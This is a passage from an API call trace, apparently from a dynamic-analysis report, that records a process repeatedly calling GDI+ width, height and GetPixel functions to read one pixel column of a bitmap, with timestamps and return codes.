color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.530] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.530] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=18, color=0x540e3d0) returned 0x0 [0226.530] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=19, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=20, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=21, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=22, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=23, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=24, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=25, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=26, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.531] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=27, color=0x540e3d0) returned 0x0 [0226.531] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.531] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=28, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=29, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=30, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=31, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=32, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=33, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=34, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=35, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=36, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.532] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.532] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=37, color=0x540e3d0) returned 0x0 [0226.532] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=38, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=39, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=40, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=41, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=42, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=43, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=44, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=45, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.533] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.533] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=46, color=0x540e3d0) returned 0x0 [0226.533] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=47, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=48, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=49, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=50, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=51, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=52, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.534] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=53, color=0x540e3d0) returned 0x0 [0226.534] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.534] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=54, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=55, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=56, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=57, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=58, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=59, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=60, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.535] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.535] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=61, color=0x540e3d0) returned 0x0 [0226.535] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=62, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=63, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=64, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=65, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=66, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=67, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=68, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.536] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.536] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=69, color=0x540e3d0) returned 0x0 [0226.536] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=70, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=71, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=72, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=73, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=74, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=75, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=76, color=0x540e3d0) returned 0x0 [0226.537] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.537] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.537] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=77, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=78, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=79, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=80, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=81, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=82, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=83, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=84, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.538] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.538] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=85, color=0x540e3d0) returned 0x0 [0226.538] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=86, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=87, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=88, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=89, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=90, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=91, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=92, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=93, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=94, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=95, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.539] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=96, color=0x540e3d0) returned 0x0 [0226.539] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.539] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=97, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=98, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=99, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=100, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=101, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=102, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=103, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=104, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=105, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=106, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.540] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.540] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=107, color=0x540e3d0) returned 0x0 [0226.540] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=108, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=109, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=110, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=111, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=112, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=113, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=114, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=115, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=116, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=117, color=0x540e3d0) returned 0x0 [0226.541] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.541] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.541] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=118, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=119, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 [0226.542] GdipGetImageHeight (image=0x4ad7818, height=0x540e3c0) returned 0x0 [0226.542] GdipBitmapGetPixel (bitmap=0x4ad7818, x=0, y=120, color=0x540e3d0) returned 0x0 [0226.542] GdipGetImageWidth (image=0x4ad7818, width=0x540e3c0) returned 0x0 